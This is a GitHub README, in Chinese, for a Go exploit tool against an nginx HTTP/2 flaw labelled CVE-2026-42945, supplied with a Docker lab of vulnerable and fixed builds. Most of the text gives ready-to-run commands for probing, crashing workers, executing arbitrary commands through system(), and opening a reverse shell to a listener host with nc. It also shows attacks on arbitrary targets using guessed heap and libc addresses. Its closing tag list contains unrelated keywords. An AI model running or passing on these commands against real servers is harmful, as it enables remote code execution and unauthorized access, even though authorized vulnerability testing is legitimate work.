RedCrazyGhost/CVE-2026-42945
GitHub: RedCrazyGhost/CVE-2026-42945
一个针对nginx HTTP/2漏洞CVE-2026-42945的PoC工具,用于在授权环境中探测、验证漏洞和测试修复。
Stars: 1 | Forks: 0
# CVE-2026-42945 PoC(Go)
**中文** | [English](README.en.md)
针对 **nginx HTTP/2 实现(CVE-2026-42945)** 的探测与利用辅助工具,用于在**授权环境**中验证漏洞是否存在、对照修复效果,并在可控实验环境中复现 PoC 行为。
受影响版本(粗判):nginx **0.6.27 – 1.30.0**;**1.30.1+** / **1.31.0+** 已修复。
## 功能概览
| 模式 | 说明 |
|------|------|
| `-check-only` | 连通性、Server 头、版本粗判、PoC 端点探测 |
| `-probe-crash` | 发送一轮溢出探测,通过 worker 崩溃侧信道判断 |
| `-cmd` | 构造 exploit 载荷,经 `system()` 执行指定命令 |
| `-shell` | 反弹 shell(需 `-lhost`,本机需 `nc`) |
| `-docker` | 批量测试本地 Docker 实验环境(vuln / fixed) |
## 环境要求
- **Go** ≥ 1.26(见 `go.mod`)
- 可选:**Docker** + **docker compose**(本地实验环境)
- 可选:`make`、`golangci-lint`(开发/代码检查)
- 利用验证:目标需暴露 PoC 所需端点(`GET /api/`、`POST /spray` 等);Docker 实验镜像已内置
## 限制与适用环境
| 项目 | 说明 |
|------|------|
| **协议** | 仅支持**明文 HTTP**(`net.Dial` + 原始 HTTP 字节),**不支持 HTTPS/TLS**。对 `-port 443` 等 TLS 端口需前置 TLS 终止或改用 HTTP 端口。 |
| **Docker 实验** | 镜像为 `linux/amd64`,首次 `docker compose build` 需从源码编译 nginx,耗时较长;容器内使用 `setarch -R` **关闭 ASLR**,与生产环境差异大。 |
| **Apple Silicon** | 本地 Docker 通过 `platform: linux/amd64` 模拟运行,速度较慢。 |
| **反弹 shell** | `-shell` 依赖系统 `nc`,Windows 上建议手动监听。 |
| **利用判定** | 侧信道(worker 崩溃)**不等于** RCE,必须独立验证命令副作用。 |
## 构建
# 快速构建(输出到 bin/,已被 .gitignore 忽略)
make build-cmd
# 或直接使用 go
go build -o ./bin/cve-2026-42945 ./cmd
# 查看嵌入版本
./bin/cve-2026-42945 -version
**发布版二进制**:在 [Releases](https://github.com/RedCrazyGhost/CVE-2026-42945/releases) 下载对应平台的 `cve-2026-42945--`(推送 `v*` 标签后由 GitHub Actions 自动构建)。
## 使用指南
### 命令行参数
-target string 目标 IP/主机名(默认 127.0.0.1)
-port int 目标端口(0=80;Docker 漏洞版常用 19321)
-docker 测试本地 Docker 实验环境(vuln:19321, fixed:19331)
-check-only 仅探测,不发送 exploit 流量
-probe-crash 溢出探测 + worker 崩溃侧信道
-cmd string 经 system() 执行的命令
-shell 反弹 shell(需 -lhost)
-lhost string 反弹 shell 本机 IP
-lport int 反弹 shell 本机端口(默认 4444)
-docker-profile 使用 deploy/docker 实测堆/libc 基址
-heap-base string 堆基址(十六进制,如 0x555555659000)
-libc-base string libc 基址(十六进制)
-tries int 每个堆候选尝试次数(默认 10)
-timeout int 单次 HTTP 超时秒数(默认 5)
-v 详细输出
-version 显示版本后退出
### 1. 仅探测目标
./bin/cve-2026-42945 -target 192.168.1.10 -port 80 -check-only
### 2. 崩溃侧信道(单目标)
./bin/cve-2026-42945 -port 19321 -probe-crash -v
### 3. Docker 实验环境对照
先启动实验容器:
make docker-up
# 或
docker compose -f deploy/docker-compose.yml up -d --build
| 服务 | 端口 | 说明 |
|------|------|------|
| vuln | **19321** | nginx 1.30.0(受影响) |
| fixed | **19331** | nginx 1.30.1(已修复) |
批量探测:
./bin/cve-2026-42945 -docker -check-only
./bin/cve-2026-42945 -docker -probe-crash
或使用 Makefile 快捷目标:
make test-lab # check + probe
make cmd-exploit # 向 vuln 写入 /tmp/pwned 并提示验证命令
### 4. 在 Docker vuln 上执行命令(RCE 验证)
实验容器在 **ASLR 关闭**(`setarch -R`)且使用 `-docker-profile` 预置基址时成功率最高:
./bin/cve-2026-42945 -port 19321 -docker-profile \
-cmd 'echo pwned > /tmp/pwned' -v
# 验证文件是否写入
docker exec nginx-rift-vuln-1.30.0 cat /tmp/pwned
### 5. 反弹 shell
# 终端 1:启动工具(会尝试后台 nc 监听)
./bin/cve-2026-42945 -port 19321 -docker-profile -shell -lhost 10.0.0.5 -lport 4444 -v
# 若未找到 nc,请另开终端手动监听:
nc -lvnp 4444
### 6. 自定义内存布局
真实目标 ASLR、libc 版本与 Docker 不一致时,需自行泄露或猜测基址:
# 目标须为明文 HTTP 端口(非 TLS)
./bin/cve-2026-42945 -target TARGET -port 8080 \
-heap-base 0x555555659000 \
-libc-base 0x7ffff77ba000 \
-cmd 'id' -tries 20 -v
## 结果解读
- **`[+] 侧信道: worker 异常`**:仅表示 worker 可能因溢出崩溃,**不能**单独作为 RCE 成功的依据。
- **必须二次验证**:检查命令副作用(文件、进程、`docker exec` 等)。
- **常见失败原因**:ASLR 开启、libc/堆偏移错误、PoC 端点不可用、WAF/限速、容器需 restart。
## 项目结构
cmd/ 主程序入口
internal/rift/ 探测、载荷构造与利用逻辑
deploy/docker/ nginx 1.30.0 / 1.30.1 实验镜像
deploy/docker-compose.yml
.github/workflows/ 多平台 Release 构建
## 开发
make help # 查看所有 make 目标
make test # 单元测试
make lint # golangci-lint
make version # 显示当前构建版本号
发布新版本:
git tag v1.0.0
git push origin v1.0.0
## 参考
- 仓库:
- CVE:**CVE-2026-42945**(nginx HTTP/2 相关漏洞,请以官方公告为准)
- 许可:[MIT License](LICENSE)
- 安全问题:[SECURITY.md](SECURITY.md)
## 再次提醒
**仅在你有权测试的系统上使用本工具。** 任何滥用行为与作者无关。
标签:CISA项目, CVE-2026-42945, Docker, EVTX分析, exploit, Go语言, HTTP/2, Maven, nginx, PoC, Web截图, 侧信道, 协议安全, 反弹shell, 命令执行, 安全测试, 安全防御评估, 容器安全, 授权测试, 攻击性安全, 日志审计, 暴力破解, 渗透辅助, 溢出漏洞, 漏洞复现, 漏洞验证, 程序破解, 网络安全, 请求拦截, 隐私保护